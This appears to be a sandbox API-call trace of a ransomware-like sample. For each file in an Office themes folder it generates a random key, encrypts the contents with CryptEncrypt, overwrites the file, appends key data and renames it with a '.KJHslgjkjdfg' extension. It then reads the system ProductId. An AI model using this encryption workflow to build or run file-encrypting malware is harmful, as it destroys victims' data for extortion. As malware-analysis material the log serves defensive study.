returned 1 [0146.889] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.889] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.889] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x12dee, lpOverlapped=0x0) returned 1 [0146.890] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x12df0, dwBufLen=0x12df0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x12df0) returned 1 [0146.891] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.891] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12df0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x12df0, lpOverlapped=0x0) returned 1 [0146.892] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.892] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x12ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.892] SetEndOfFile (hFile=0x118) returned 1 [0146.895] GetProcessHeap () returned 0x2a0000 [0146.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.895] GetProcessHeap () returned 0x2a0000 [0146.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.kjhslgjkjdfg")) returned 1 [0146.901] CloseHandle (hObject=0x118) returned 1 [0146.901] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0146.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.903] GetProcessHeap () returned 0x2a0000 [0146.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.903] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.903] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.903] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.907] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.907] GetProcessHeap () returned 0x2a0000 [0146.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.907] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.907] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.907] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.907] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.907] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.907] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.908] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.908] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.908] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x223, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x223, lpOverlapped=0x0) returned 1 [0146.908] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230) returned 1 [0146.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.908] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x230, lpOverlapped=0x0) returned 1 [0146.908] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.908] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.908] SetEndOfFile (hFile=0x118) returned 1 [0146.911] GetProcessHeap () returned 0x2a0000 [0146.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.911] GetProcessHeap () returned 0x2a0000 [0146.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.kjhslgjkjdfg")) returned 1 [0146.916] CloseHandle (hObject=0x118) returned 1 [0146.916] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.917] GetProcessHeap () returned 0x2a0000 [0146.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.917] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.917] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.917] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0146.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.931] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.931] GetProcessHeap () returned 0x2a0000 [0146.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.931] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.931] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.931] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.931] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.932] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.932] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.932] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.932] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.932] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.932] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.932] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.932] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x54a, lpOverlapped=0x0) returned 1 [0146.932] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x550) returned 1 [0146.933] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.933] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x550, lpOverlapped=0x0) returned 1 [0146.933] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.933] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.933] SetEndOfFile (hFile=0x118) returned 1 [0146.935] GetProcessHeap () returned 0x2a0000 [0146.936] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.936] GetProcessHeap () returned 0x2a0000 [0146.936] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.937] CloseHandle (hObject=0x118) returned 1 [0146.938] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.938] GetProcessHeap () returned 0x2a0000 [0146.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.939] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.939] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.939] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0146.941] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.941] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.941] GetProcessHeap () returned 0x2a0000 [0146.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.941] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.941] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.941] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.941] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.941] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.941] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.941] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.941] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.942] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.942] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.942] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7eb1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7eb1, lpOverlapped=0x0) returned 1 [0146.943] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7ec0, dwBufLen=0x7ec0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7ec0) returned 1 [0146.943] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.943] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7ec0, lpOverlapped=0x0) returned 1 [0146.943] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.943] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.943] SetEndOfFile (hFile=0x118) returned 1 [0146.946] GetProcessHeap () returned 0x2a0000 [0146.946] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.947] GetProcessHeap () returned 0x2a0000 [0146.947] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.950] CloseHandle (hObject=0x118) returned 1 [0146.950] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.950] GetProcessHeap () returned 0x2a0000 [0146.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.950] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.950] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.951] GetProcessHeap () returned 0x2a0000 [0146.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.951] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.951] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.951] GetProcessHeap () returned 0x2a0000 [0146.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.951] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.951] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.951] GetProcessHeap () returned 0x2a0000 [0146.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.951] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.951] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.951] GetProcessHeap () returned 0x2a0000 [0146.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.951] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.951] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.951] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.951] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.952] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.952] RegCloseKey (hKey=0x118) returned 0x0 [0146.952] GetProcessHeap () returned 0x2a0000 [0146.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.952] GetProcessHeap () returned 0x2a0000 [0146.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.952] GetProcessHeap () returned 0x2a0000 [0146.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.952] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.952] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.952] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.952] 